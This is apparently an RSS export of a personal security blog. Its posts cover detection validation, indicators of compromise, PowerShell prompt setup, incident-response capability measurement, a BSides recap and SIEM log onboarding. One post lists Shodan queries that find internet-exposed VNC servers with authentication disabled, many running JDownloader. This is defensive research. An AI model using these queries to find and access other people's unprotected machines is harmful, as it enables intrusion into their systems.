<li><p><strong>High ROI</strong>: Focus on the few techniques that, if detected, stop an attacker from causing maximum damage. These are detection with the highest ROI . Focus on Critical Phases P1: Initial Access and Persistence (e.g., Valid Accounts, External Remote Services) and P2: Credential Access and Privilege Escalation (e.g., OS Credential Dumping, Process Injection).</p>
</li>
<li><p><strong>Emerging Techniques (Gap Analysis)</strong>: Work with your Threat Intelligence (CTI) team to identify new MITRE ATT&amp;CK techniques that have been observed in the wild targeting your industry or region since your last validation. Any new, high-prevalence technique that you don't have coverage for becomes an immediate high-priority detection rule to create, test, and validate.</p>
</li>
<li><p><strong>Adversary Playbooks</strong>: Prioritize testing the detection rules that cover the full attack chains of the specific threat actors you are most concerned about. This means validating the combination of rules that, together, should catch the attacker from initial access to data exfiltration.</p>
</li>
<li><p><strong>Maintenance</strong>: Rules decay over time due to system changes, software updates, and data source shifts. This pillar focuses on hygiene. These changes may manifest in High False Positive Rate (FPR) Rules, Low Confidence Rules, Critical Data Source Changes etc.</p>
</li>
</ol>
<h2 id="heading-ideas-for-prioritization">Ideas for Prioritization</h2>
<h3 id="heading-reports-or-research"><strong>Reports or Research</strong></h3>
<p>There is a bunch of reports or research by vendors, consultant, and many more. These publication use surveys, public incident lesson learn, etc. These can be a good place to start a discussion about where to start validate detection, of course the more specialized your organization is (in terms of its cloud architecture), these report will be less relevant. What you can also do is filtering these publications by different industry, to make it more relevant to your needs.</p>
<p>The latest <a target="_blank" href="https://services.google.com/fh/files/misc/cloud_threat_horizons_report_h22025.pdf">google threat horizon report</a> (at the time the blog posted), highlight a couple of common theme found throughout 2025, one of them is importance of foundational security, which is also highlighted in their dashboard shown below.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754245428738/686f05a5-e590-4a6f-8f19-173169cec1cf.png" alt class="image--center mx-auto" /></p>
<p>One of the more prominent report is by CSA, aptly named CSA top threats to cloud computing. On the last <a target="_blank" href="https://cloudsecurityalliance.org/artifacts/top-threats-to-cloud-computing-2024">edition</a>. CSA gather information for these publication by using two stage surveys and interview. First stage is to gather initial lists of top threats by survey, discussion that aim to be in depth. While the second one use a broad audience of 500 security professional to rank the result from the first stage.</p>
<p>The result is several list of top threats, similar gist with google threat horizon, where “Misconfiguration and inadequate change control”; “Identity and Access Management”; “Insecure interfaces and APIs”, which are pretty basic is highlighted as the top three threats.</p>
<p>CSA’s publication go even detailed by mentioning some of the common variation of these threats, the impact (technical, operational, and business), and even mentioning some anecdotes (case examples) of the threats, and even related controls. All of which are very useful in a discussion of what detection should we test.</p>
<p>One more point for CSA is also the amazing artwork used for their throughout the publication.</p>
<h3 id="heading-security-benchmark-and-guidelines"><strong>Security Benchmark and Guidelines</strong></h3>
<p>Security Benchmark and Guidelines, that are specifically crafted for cloud environment could be a very valuable inventory where you can start your discussion of detection assessment. Examples of these benchmark and guidelines are <a target="_blank" href="https://cloudsecurityalliance.org/research/cloud-controls-matrix">CSA Cloud Control Matrix</a>, <a target="_blank" href="https://www.cisecurity.org/cis-benchmarks">CIS Cloud Benchmark</a>, and some of the vendor based one e.g. AWS Well-Architected Framework or Microsoft Azure Security Benchmark.</p>
<p>The heavy lifting on using these benchmarks are “processing” them to be used detection assessment. Since these publications are meant to be benchmark/ guidelines, most of them are prescriptive. So the process will involve discussing over at least these questions:</p>
<ul>
<li><p>do we need detection for specific that prescriptive guide?</p>
</li>
<li><p>do we have detection for specific that prescriptive guide?</p>
</li>
<li><p>and do our detection for that prescriptive guide works?</p>
</li>
</ul>
<p>Nevertheless, these benchmark, as with all other sources I mentioned here is invaluable for a starting discussion on detection assessment.</p>
<h3 id="heading-threat-models-or-threat-model-framework"><strong>Threat Models or Threat Model Framework</strong></h3>
<p>Threat model framework that comes to mind is <a target="_blank" href="https://securosis.com/wp-content/uploads/2024/04/UCTM_v_1.0.pdf">UCTM</a>, they stated that their goal is <em>to highlight the top undifferentiated attack sequences — not every possible undifferentiated or differentiated sequence.</em> claiming that following list covers <em>the majority of attacks the majority of organizations will experience</em>. Trying to be <a target="_blank" href="https://en.wikipedia.org/wiki/Pareto_principle">pareto principle</a> of cloud attacks, and provide the list of their top sequences of cloud attack.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754247822521/a1d896a9-4668-491b-9488-12967ed6050d.png" alt class="image--center mx-auto" /></p>
<p>Organization will (commonly) base their defenses (i.e. detection) on their threat model. Starting from currently available threat model in your organization is also a good place to start a discussion. A common problem might be that threat model will be scoped out for a specific projects or technology, translating them to a more broad detection might present a bit of a challenge.</p>
<p>Based on that, threat model and frameworks is also an amazing place to start the discussion on detection assessment.</p>
<h3 id="heading-threat-databases"><strong>Threat Databases</strong></h3>
<p>Examples of threat databases are <a target="_blank" href="https://threats.wiz.io/">Wiz’s cloud threat landscape</a> or <a target="_blank" href="https://securitylabs.datadoghq.com/cloud-security-atlas/">datadog’s cloud security atlas</a>. These are collection of threats and vulnerability, specifically built for cloud environment. datadog’s is a bit easier to filter and has a detection suggestion and how to reproduce it with stratus, while Wiz’s has more on related incident anecdotes.</p>
<p>These databases might not be a good place to start, but it will surely contribute to your vocabulary of validation, especially if you have run your detection assessment for several iteration. These databases will also be very useful to keep your validation up to date with the newest vector.</p>
<h1 id="heading-epilogue">Epilogue</h1>
<p>The post briefly describe how ideas if you are starting on detection validation, focusing on the most important part of the validation phase, that is planning. Ideas on how to prioritize and choose which detection to test are laid out above. The hard part was actually operationalizing the planning stage</p>
<h1 id="heading-references">References</h1>
<p><a target="_blank" href="https://www.amazon.com/Practical-Threat-Detection-Engineering-hands/dp/1801076715">practical detection engineering</a></p>
<p><a target="_blank" href="https://www.upwind.io/glossary/mitre-attck-evaluations">https://www.upwind.io/glossary/mitre-attck-evaluations</a></p>
]]></content:encoded></item><item><title><![CDATA[What Are Indicators of Compromise (IOCs) and Why Do They Matter?]]></title><description><![CDATA[This article is an excerpt from my piece originally published on cdef.id. You can read the full article here.
Indicators of Compromise (IOCs) are simply evidence that a cyber intrusion has occurred. They are the digital breadcrumbs left behind by att...]]></description><link>https://aldosimon.com/what-are-indicators-of-compromise-iocs-and-why-do-they-matter</link><guid isPermaLink="true">https://aldosimon.com/what-are-indicators-of-compromise-iocs-and-why-do-they-matter</guid><category><![CDATA[cloud ioc]]></category><category><![CDATA[DFIR]]></category><category><![CDATA[ioc]]></category><category><![CDATA[defense]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Sat, 21 Jun 2025 12:29:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/d9ILr-dbEdg/upload/0112ba53e73db113c3693fdc86a728ac.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>This article is an excerpt from my piece originally published on</em> <a target="_blank" href="http://cdef.id"><strong><em>cdef.id</em></strong></a><em>. You can read the full article</em> <a target="_blank" href="https://cdef.gitbook.io/2025-1st-cdef-magazine/the-abcs-of-iocs"><em>here</em></a><em>.</em></p>
<p><strong>Indicators of Compromise (IOCs)</strong> are simply evidence that a cyber intrusion has occurred. They are the digital breadcrumbs left behind by attackers, helping security teams <strong>detect and respond</strong> to breaches.</p>
<p>Common examples of IOCs include:</p>
<ul>
<li><p><strong>IP addresses</strong> used by attackers.</p>
</li>
<li><p><strong>Hash values</strong> of malicious files.</p>
</li>
<li><p><strong>Domain names</strong> used for command and control.</p>
</li>
</ul>
<h2 id="heading-types-of-iocs">Types of IOCs</h2>
<p>There are numerous types of IOCs depends how you cut the cake, but these are the common ones:</p>
<ul>
<li><p><strong>Atomic IoCs:</strong> Basic, indivisible elements like <strong>IP addresses, filenames,</strong> or <strong>domain names</strong>.</p>
</li>
<li><p><strong>Composite Detection</strong>: A detection rule that is triggered by the culmination of two or more pre-defined atomic detections or events happening in a specific order, within a defined timeframe, or involving the same entity</p>
</li>
<li><p><strong>Computed IoCs:</strong> Derived from data, such as <strong>hash values</strong> or <strong>regular expressions</strong>.</p>
</li>
<li><p><strong>Behavioral IoCs:</strong> Sequences of actions that describe an attacker's <strong>Tactics, Techniques, and Procedures (TTPs)</strong>, like a specific series of API calls.</p>
</li>
</ul>
<p>The "Pyramid of Pain" illustrates that the more difficult an IOC is for an attacker to change (e.g., their TTPs vs. a file hash), the more "pain" it causes them when detected.</p>
<h2 id="heading-cloud-iocs-new-challenges">Cloud IOCs: New Challenges</h2>
<p>With the growth of cloud computing, new types of IOCs have emerged, specific to cloud environments.</p>
<ul>
<li><p><strong>Atomic Cloud IOCs</strong> can include <strong>AWS IAM names</strong>, <strong>security group names</strong>, or <strong>cloud account IDs</strong> used by attackers.</p>
</li>
<li><p><strong>Behavioral Cloud IOCs</strong> often involve suspicious <strong>sequences of cloud API calls</strong>, like manipulating CloudTrail logs or backdooring AMIs.</p>
</li>
</ul>
<h2 id="heading-developing-effective-detections">Developing Effective Detections</h2>
<p>When using IOCs to develop security detections, consider:</p>
<ul>
<li><p><strong>Context:</strong> Understand how the IOC fits into the broader attack to accurately identify relevant data sources.</p>
</li>
<li><p><strong>Cost:</strong> Balance the resources required for detection (e.g., analyst time, compute power) with the value of the alert.</p>
</li>
<li><p><strong>Performance:</strong> Aim for broad <strong>coverage</strong> of attacker techniques and <strong>durable</strong> detections that are harder for attackers to evade.</p>
</li>
<li><p><strong>Timeliness:</strong> Share and act on IOCs quickly, especially new ones, to maximize their defensive value.</p>
</li>
<li><p><strong>Documentation:</strong> Maintain clear records of your detections, alerts, and their organization for better maintenance and team collaboration.</p>
</li>
</ul>
<p>By focusing on these aspects, organizations can effectively leverage IOCs to enhance their cybersecurity posture.</p>
]]></content:encoded></item><item><title><![CDATA[Spice up your PowerShell with Starship]]></title><description><![CDATA[I was supposed to do a bunch of stuff in PowerShell, so I was thought let spice up that terminal and not feel so miserable i.e. how to procrastinate with less guilt.
Install the required font
Install the required nerd font, of course you need to set ...]]></description><link>https://aldosimon.com/spice-up-your-powershell-with-starship</link><guid isPermaLink="true">https://aldosimon.com/spice-up-your-powershell-with-starship</guid><category><![CDATA[off base]]></category><category><![CDATA[starship]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Sun, 16 Feb 2025 23:30:07 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/o6VKrOogZpw/upload/bcd1eb5bc6ac32871b37f72631815477.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was supposed to do a bunch of stuff in PowerShell, so I was thought let spice up that terminal and not feel so miserable i.e. how to procrastinate with less guilt.</p>
<h3 id="heading-install-the-required-font">Install the required font</h3>
<p>Install the required <a target="_blank" href="https://www.nerdfonts.com/">nerd font</a>, of course you need to set up the font to be used by PowerShell.</p>
<h3 id="heading-install-starship">Install starship</h3>
<p>we will be using starship as the prompt, we can install via:</p>
<ul>
<li><p>via chocolatey</p>
<p>  <code>choco install starship</code></p>
</li>
<li><p>or, via <a target="_blank" href="https://github.com/starship/starship/releases/latest">msi installer</a></p>
</li>
</ul>
<h3 id="heading-configure-powershell">Configure PowerShell</h3>
<p>Configure your PowerShell to use starship, this can be achieved by editing Microsoft.PowerShell_profile.ps1.</p>
<p>Typically the path is <code>~\Documents\PowerShell\Microsoft.PowerShell_</code><a target="_blank" href="http://profile.ps"><code>profile.ps</code></a><code>1</code> or <code>~/.config/powershell/Microsoft.PowerShell_</code><a target="_blank" href="http://profile.ps"><code>profile.ps</code></a><code>1</code></p>
<p>and you can use notepad to edit Microsoft.PowerShell_profile.ps1</p>
<pre><code class="lang-powershell">notepad <span class="hljs-variable">$PROFILE</span>
</code></pre>
<p>and add the following line</p>
<pre><code class="lang-powershell"><span class="hljs-built_in">Invoke-Expression</span> (&amp;starship init powershell)
</code></pre>
<p>if that didn’t work, you might don’t have the permission to run unsigned script. Try using this to add permission:</p>
<pre><code class="lang-powershell"><span class="hljs-built_in">Set-ExecutionPolicy</span> <span class="hljs-literal">-ExecutionPolicy</span> RemoteSigned <span class="hljs-literal">-Scope</span> LocalMachine
</code></pre>
<p>refresh current PowerShell profile</p>
<pre><code class="lang-powershell">. <span class="hljs-variable">$profile</span>
</code></pre>
<h3 id="heading-configure-starship">Configure starship</h3>
<p>you can configure starship further by first creating the config file</p>
<pre><code class="lang-powershell"><span class="hljs-built_in">New-Item</span> <span class="hljs-literal">-ItemType</span> Directory <span class="hljs-literal">-Force</span> ~/.config;<span class="hljs-built_in">New-Item</span> <span class="hljs-literal">-ItemType</span> file ~/.config/starship.toml;
</code></pre>
<p>This newly created directory and config file can be found at the user's home directory, e.g. <em>C:\Users\&lt;UserName&gt;.</em></p>
<p>and I use preset from <a target="_blank" href="https://starship.rs/presets/pastel-powerline">starship</a> by running</p>
<pre><code class="lang-powershell">starship preset pastel<span class="hljs-literal">-powerline</span> <span class="hljs-literal">-o</span> ~/.config/starship.toml
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739748286324/8495907d-bb83-4f8c-9ad6-d856b27204b2.png" alt class="image--center mx-auto" /></p>
<p>Now to stop procrastinating and do some work! right after I did the same thing with cmd and my WSL bash.</p>
]]></content:encoded></item><item><title><![CDATA[The curious case of Jdownloader VNC access]]></title><description><![CDATA[While strolling the interweb through shodan a couple of night back, I noticed a lot of VNC instances with disabled authentication that allow remote access to JDownloader. For those unfamiliar with the software, JDownloader is a download manager that ...]]></description><link>https://aldosimon.com/the-curious-case-of-jdownloader-vnc-access</link><guid isPermaLink="true">https://aldosimon.com/the-curious-case-of-jdownloader-vnc-access</guid><category><![CDATA[jdownloader]]></category><category><![CDATA[internet]]></category><category><![CDATA[shodan]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Thu, 09 Jan 2025 22:27:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/MPKQiDpMyqU/upload/f9ca9777f21482a54f597c6d89b8575b.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>While strolling the interweb through shodan a couple of night back, I noticed a lot of VNC instances with disabled authentication that allow remote access to JDownloader. For those unfamiliar with the software, JDownloader is a download manager that apparently has a remote access feature, one of them, is through VNC.</p>
<p>I started the shodan search using the query below, they, I believe, should produce similar result in shodan.</p>
<pre><code class="lang-plaintext">"authentication disabled" port:5900,5901
"vnc authentication disabled"
"RFB 003.008"
authentication disabled product:"VNC"
</code></pre>
<p>After seeing a lot of Jdownloader VNC without authentication, filtering further by adding "jdownloader", or using “images” tabs to quickly understand the result.</p>
<p>Drilling on the statistics, currently I can see 153 instances of Jdownloader VNC with disabled auth, 149 of them are on the default port (5900). These instances are mostly located in Germany, South Korea, and Italy, while USA is number four.</p>
<p>Trend wise, these instances started in Mid 2023 (June-August) and it just keep going up until today (January figures is incomplete).</p>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczOgYAfPNhn1SZvRp0Ly3YNTdKDWqGqHYEO2pg5Road0gpOHv7u7T6INcuXFfeYOqcGHV5uuiLbLBB2hSPG3zY_ByTsFCQSIwd4OBZU1iw4p3ydf-E36CtsNzo2RaxYNEg4spnmuhsXtewhAVbD-WRp36g=w1007-h491-s-no-gm?authuser=0" alt class="image--center mx-auto" /></p>
<p>In the other hand VNC instances without authentication is, in general, going down in statistic as shown below:</p>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczNrxAXUhQeZDExXzrBp5Pwt9YiHYY40ginuUdwS7FkH0Ee8DgU8Wv7nvihJUlgTgdhsEe3cAXFZyi09esMv4dTuDYibj2dviEPKVUeaqHi38WsiLaEwNT-DnI16_7rjHlyNzdJfaYUUvTxOuXta_LCT8w=w1047-h532-s-no-gm?authuser=0" alt class="image--center mx-auto" /></p>
<p>JDownloader is not a new software, it’s quite old. The current version, version 2 is released in 2011, so it was kinda weird seing a lot of them is configured with disabled auth VNC 🤔</p>
<p>I tested the official executable and it did not have VNC access enabled by default. I also tried the suggested docker image (not maintained by Jdowloader team), this image have a clear warning HTTP and VNC connection are unencrypted and without password. However running it requires users to manually set up port forwarding for VNC (HTTP is what their example script is using, but no VNC). If that's the case, this new trend is unlikely to come from the Docker image.</p>
<p>I believe the Jdownloader we're seeing is installed through a NAS, self-hosting suite, or another platform where users can easily install it using a simple interface thus the VNC without authentication.</p>
<p>That’s all I have for this late night stroll in the interweb post. To close, here is an attempt where actor (likely automated script) tries download and run executable via powershell, not caring that the command falls into a Jdownloader UI instead of a shell.</p>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczNCobt70oXb4sof3eXnrRmGtffXFQkSkq40FWD7lBbU6nbhtXHgGbQllOzyyZ84J0EOGm9j53i4cLIMQg-9CZb40yvES8_qT9jIYeukNJleu2RKBqlhPM38Gtv2V08Y6WcUuhAq-q2_95KQQ3dOO_bRtQ=w1024-h576-s-no-gm?authuser=0" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Measuring IR capability]]></title><description><![CDATA[Introduction
Understanding an organization’s current incident response (IR) capabilities is vital, as it enables the identification of current strengths and weaknesses. This knowledge is instrumental in formulating future objectives and optimizing al...]]></description><link>https://aldosimon.com/measuring-ir-capability</link><guid isPermaLink="true">https://aldosimon.com/measuring-ir-capability</guid><category><![CDATA[incident response]]></category><category><![CDATA[incident management]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Tue, 17 Dec 2024 05:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/cixohzDpNIo/upload/78240322735737fff46753d84bc0cfab.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>Understanding an organization’s current incident response (IR) capabilities is vital, as it enables the identification of current strengths and weaknesses. This knowledge is instrumental in formulating future objectives and optimizing allocation of resources.</p>
<p>This analysis will bring forth a model to evaluate the existing IR capabilities by examining the people, processes, and technology dimensions. The result will be organized into a customized matrix, providing an overview of the IR capabilities. Insights derived from this matrix can help in decisions, including technology acquisition, process improvement, training prioritization among other things.</p>
<p>In essence, this document is aimed to highlight the need for a capability review by accomplishing these primary objectives: first, present a structured approach for assessing Incident Response (IR) capabilities; second, and utilize this approach to conduct an evaluation of current IR capabilities as a proof of concept.</p>
<h1 id="heading-method">Method</h1>
<p>This exercise will evaluate current incident response (IR) capability for specific information asset types. IR capability that will be assessed are detection, analysis, containment, and eradication. While asset type that corresponds with these capabilities are identity, endpoint, network, data, apps (along with their respective subtype). Assessment is conducted by evaluating the dimensions of people<a target="_blank" href="https://www.notion.so/IR-capability-matrix-a008ec0e6b144901b15377a96fcb98b6?pvs=21">[1]</a>, process, technology (PPT)<a target="_blank" href="https://www.notion.so/IR-capability-matrix-a008ec0e6b144901b15377a96fcb98b6?pvs=21">[2]</a> for each combination of IR capability with specific asset. Afterward a custom matrix, aptly called IR capability matrix was used to map and present the result.</p>
<p>Figure 1 illustrates different levels of measurement for capability, and for this exercise, assessment will be done by looking whether a capability is present. This means either a certain capability exists, or it does not. The quality of the capability, implementation effectiveness and coverage are not considered (but will be highlighted if information is readily available). Future refinements in measurement level can offer a more comprehensive view of our IR capabilities, this will be discussed in key takeaways section.</p>
<p><strong>The assessment of technology dimension</strong> involves determining whether currently available solution to the IR team, has a primary function that directly relate with an IR capability. This approach ensures that a capability is not considered available if the IR team cannot access necessary technology or if it is not immediately accessible.</p>
<p>For example, if we were to measure windows defender detection capability on windows endpoint asset, currently this will be marked as exist, because defender for endpoint, whose main function is just that, is readily available for IR team.</p>
<p>In the other hand, if we were to measure containment capability of AWS console, for asset type AWS identity will not be marked as exist. This is because, although it is possible to contain an AWS identity via AWS console, this is not the primary function of the AWS console.</p>
<p>If a primary function of a certain technology is not related to a certain IR capability, but we have developed or acquired add on that made this capability possible, then this will be marked as exist. Using the previous scenario as an example, if a lambda script or an Azure logic apps in sentinel was to exist where the primary function was to perform containment/ eradication of an identity in AWS, this capability then will be marked as exist.</p>
<p><strong>Process dimension is assessed</strong> by reviewing currently available processes in company knowledge base. If a process facilitates the execution of a specific Incident Response (IR) capability, then that capability will be classified as present.</p>
<p><strong>The final element of the PPT framework pertains to the people aspect,</strong> there are countless way of measuring this aspect can be as complicated as you wanted to be. A suggestion on how to do it, is a one question to IR personnel “how confident are you in doing [IR capability] in [asset type]?”.</p>
<p>Putting all dimensions into a table below and detailing how the evaluation will be conducted.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>IR capability</strong></td><td><strong>approach used to evaluate</strong></td><td></td><td></td></tr>
</thead>
<tbody>
<tr>
<td></td><td><strong>Technology</strong></td><td><strong>Process</strong></td><td><strong>People</strong></td></tr>
<tr>
<td><strong>Detection</strong></td><td>A technology solution that capable of automated alerting when a security event related to a specific asset arise is readily available to IR team.</td><td>A KB page (guide, playbook, process, standard) exist that relate directly in conducting a certain capability is available to IR team.</td><td>one question: how confident are you in doing related capability</td></tr>
<tr>
<td><strong>Analysis</strong></td><td>A technology solution that primarily function to provide data in analyzing events from a specific asset surrounding security incident is readily available to IR team.</td><td></td><td></td></tr>
<tr>
<td><strong>Containment &amp; Eradication</strong></td><td>A technology solution that primarily function to conduct containment and eradication of a specific asset is readily available to IR team.</td><td></td></tr>
</tbody>
</table>
</div><p>Table 1 approach used evaluate IR capability</p>
<p><strong>The IR capability matrix was created to map the outcomes of the previous PPT framework assessment.</strong> It is modeled after Sounil Yu’s cyber defense matrix. However, while the cyber defense matrix is designed to address the full scope of the NIST Cyber Security Framework (NIST CSF), only certain parts are relevant to incident response capabilities. Therefore, the IR cycle components—<em>detection, analysis, containment, and eradication</em>—will be used as the capability columns in the matrix. The rows will be populated with asset types, which include <em>identity, endpoint, network, data, cloud and applications.</em> The table below will be utilized to map the results of our evaluation.</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td><strong>Asset</strong></td><td><strong>Detection</strong></td><td><strong>Analysis</strong></td><td><strong>Containment &amp; Eradication</strong></td></tr>
</thead>
<tbody>
<tr>
<td><strong>Identity</strong></td><td></td><td></td><td></td></tr>
<tr>
<td><strong>Endpoint</strong></td><td></td><td></td><td></td></tr>
<tr>
<td><strong>Network</strong></td><td></td><td></td><td></td></tr>
<tr>
<td><strong>Data</strong></td><td></td><td></td><td></td></tr>
<tr>
<td><strong>Apps</strong></td><td></td><td></td><td></td></tr>
<tr>
<td><strong>Cloud</strong></td><td></td><td></td></tr>
</tbody>
</table>
</div><p>Table 2 IR capability matrix</p>
<p>Note that the asset column can be as detailed as it needed to be. User can just put cloud, but might also use sub category e.g. IAM, compute, storage, database, management, networking.</p>
<h1 id="heading-caveats">Caveats</h1>
<p><strong>Detection and analysis in this document are treated as separate entities</strong>, unlike in NIST’s computer security incident guide<a target="_blank" href="https://www.notion.so/IR-capability-matrix-a008ec0e6b144901b15377a96fcb98b6?pvs=21">[3]</a> or SANS’s PICERL<a target="_blank" href="https://www.notion.so/IR-capability-matrix-a008ec0e6b144901b15377a96fcb98b6?pvs=21">[4]</a>, where they are collectively categorized under one capability. A decision was made to separate detection and analysis into individual column capabilities. This separation acknowledges the heavy reliance of detection on the technology dimension, contrasting with the analysis capability, which depends greatly on the process dimension. The rationale behind this is to ensure a distinct understanding of each capability, as combining them could obscure the true picture of the current capabilities.</p>
<p>[1] There are numerous way to measure this, I aim for the lowest friction.</p>
<p>[2] PPT framework: <a target="_blank" href="https://web.archive.org/web/20151122232441/http:/www.boozallen.com/media/file/People-Process-Technology-Enterprise2.pdf">wayback machine (archive.org)</a>.</p>
<p>[3] <a target="_blank" href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-61r2.pdf">Computer Security Incident Handling Guide (nist.gov)</a></p>
<p>[4] <a target="_blank" href="https://www.sans.org/media/score/504-incident-response-cycle.pdf">504-incident-response-cycle.pdf (sans.org)</a></p>
]]></content:encoded></item><item><title><![CDATA[Bsides CambridgeMA 2024]]></title><description><![CDATA[I had the chance to attend Bsides Cambridge MA on October 5th 2024, and it is a pretty cool meet up. The atmosphere was relaxed, and some of the talks are pretty interesting, even the snacks are pretty good 🥨🧃. Here are recap of the presentations.
...]]></description><link>https://aldosimon.com/bsides-cambridgema-2024</link><guid isPermaLink="true">https://aldosimon.com/bsides-cambridgema-2024</guid><category><![CDATA[conference]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Bsides]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Sat, 12 Oct 2024 14:09:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/cX2vElQ5aHk/upload/32321745f169797751b9d6b9609a4af7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><img src="https://lh3.googleusercontent.com/pw/AP1GczM-cHLCv_NHo_rl91SitBRW6PmM2WgMai_IotO-W1I1KmhOlDkF5S7VqKyiKDNBvyuWvuJPfQa2y5PFzTaJNbw7aoS8zzLX_mdIHpo5MtALmpVrPmWN9rHVauyseRwvjc1Df0SnTr_0V_pd5cYXtDgENg=w647-h647-s-no-gm" alt class="image--center mx-auto" /></p>
<p>I had the chance to attend Bsides Cambridge MA on October 5th 2024, and it is a pretty cool meet up. The atmosphere was relaxed, and some of the talks are pretty interesting, even the snacks are pretty good 🥨🧃. Here are recap of the presentations.</p>
<p><strong>Dr. Chris Esquire</strong> talked about Software Defined Radio (SDR) where he set up to intercept a satellite communication for less than $1000.</p>
<p><strong>Parth Shukla</strong> <strong>&amp; Nishit Lakhnotra</strong> talked about utilizing AI for bot detection, honestly this felt more like old timey ML/statistic approach for bot detection, but I am not an expert on AI.</p>
<p><strong>Yolanda</strong> talks about end to end overview of cryptocurrency infrastructure security architecture and principles.</p>
<p><strong>Zara Perumal</strong> <strong>&amp;</strong> <strong>Ryan Reeve</strong> talked about using agentic AI for OSINT, this one felt more AI-ish than the previous one (whatever that means🤣). Agentic AI is basically AI that can perform task (including using tools) with minimal human intervention, so this is pretty cool.</p>
<p><strong>Ryan Cohen</strong> talks about several recent crypto heists and how these heists teach us about security fundamentals. Interesting because I’ve never even heard some of these heists, and some of them gets pretty complicated real fast.</p>
<p><strong>Ezz Tahoun</strong> <strong>&amp;</strong> <strong>Lynn Hamida</strong> supposed to deliver talk about correlate and contextualizing alert and logs. Being a blue teamer, this is actually the one I looked forward the most, but the presenter apparently missed their flight, so the talk was canceled.</p>
<p><strong>Fred Heiding</strong> talks about the cyber strategy scorecard, where he evaluate cyber strategy from several countries.</p>
<p>This is one of the most interesting one. Unfortunately most of the countries assessed are developed countries so the result are predictable and nothing to write home about (see posted picture below).</p>
<p>One notable result that stood out to me is how South Korea's cyber strategy gives major consideration to vulnerable populations. His work should be finished 2024-2025, so if you are interested stay tuned to his page (<a target="_blank" href="https://fredheiding.com/research/">https://fredheiding.com/research/</a>)</p>
<p>Oh…he is also planning to apply the framework to developing countries (fingers crossed Indonesia is next!)</p>
<p><img src="https://lh3.googleusercontent.com/pw/AP1GczMMbVkTByr4H8iC6w7mBAbs50E27TsHLQ-rfJB11y6cwLuC3lZnMYwrFFAiwaxOP5lLmeJLht-BYd6fWMrLkMg1LMAaiZSeVF7QAgmyrMHOuBxBW7ycPn5Tj0nal3az4cY-MUlUUAYCnTDoylHrHMHyAw=w1043-h647-s-no-gm" alt class="image--center mx-auto" /></p>
<p>Another highlight of the I also get to chat with a particular gentleman that shared his path to cyber from blue collar job, by previously doing 4 years degree in WGU within just 1 year. I’ll never stop being amazed how people get to cyber!</p>
<p>All in all, the experience was delightful, I will definitely attend if there’s another InfoSec meetup nearby, so let me know if you’re aware of any around Boston.😎</p>
]]></content:encoded></item><item><title><![CDATA[About onboarding log to SIEM]]></title><description><![CDATA[I was working on a task where a bunch of application logs needed to be onboarded and monitored for alerts. I've been thinking about the best way to share the experience from this job, and a full workflow would probably be more appropriate and useful ...]]></description><link>https://aldosimon.com/about-onboarding-log-to-siem</link><guid isPermaLink="true">https://aldosimon.com/about-onboarding-log-to-siem</guid><category><![CDATA[log onboard]]></category><category><![CDATA[SIEM]]></category><dc:creator><![CDATA[Ewaldo Simon Hiras]]></dc:creator><pubDate>Mon, 26 Aug 2024 12:59:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Skf7HxARcoc/upload/e0ae91f163a901e7776d379f037dbe13.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was working on a task where a bunch of application logs needed to be onboarded and monitored for alerts. I've been thinking about the best way to share the experience from this job, and a full workflow would probably be more appropriate and useful (let me know if you aware of such framework/ workflow). Unfortunately, while the spirit is willing, the flesh is weak, so maybe in the future.</p>
<p>The next best thing is a list of lessons learned from my observations of the log onboarding process:</p>
<p><strong>A clear and concise scope</strong> should be provided at the beginning. Without this, there will inevitably be scope creep.</p>
<p>A <strong>standardized</strong> alert, description, meta data for each use case should be established, along with a quality assurance process for use cases produced during the onboarding process.</p>
<p><strong>A clear workflow should be known to all stakeholders</strong>. For application owners, this provides knowledge and clarity on their responsibilities. For engineers, it offers clear direction. Additionally, a clear workflow helps identify potential blockers.</p>
<p>A threat modeling process that has <strong>detection in mind</strong>. Many threat modeling exercises result in threat models that are difficult or inefficient to translate into detection. (e.g. Detection-Oriented Modelling Framework - DOMF, <a target="_blank" href="http://2023.idsecconf.org">2023.idsecconf.org</a>)</p>
<p>If your SIEM/SOAR is not effective at <strong>maintaining an inventory</strong> of these use cases, it's important to have a good process for creating and maintaining this inventory. When creating this process, keep in mind that in the future, you might need to categorize these use cases based on their MITRE categories or the tables they reference. This inventory will also be useful outside of onboarding, especially in measuring SOC matrices.</p>
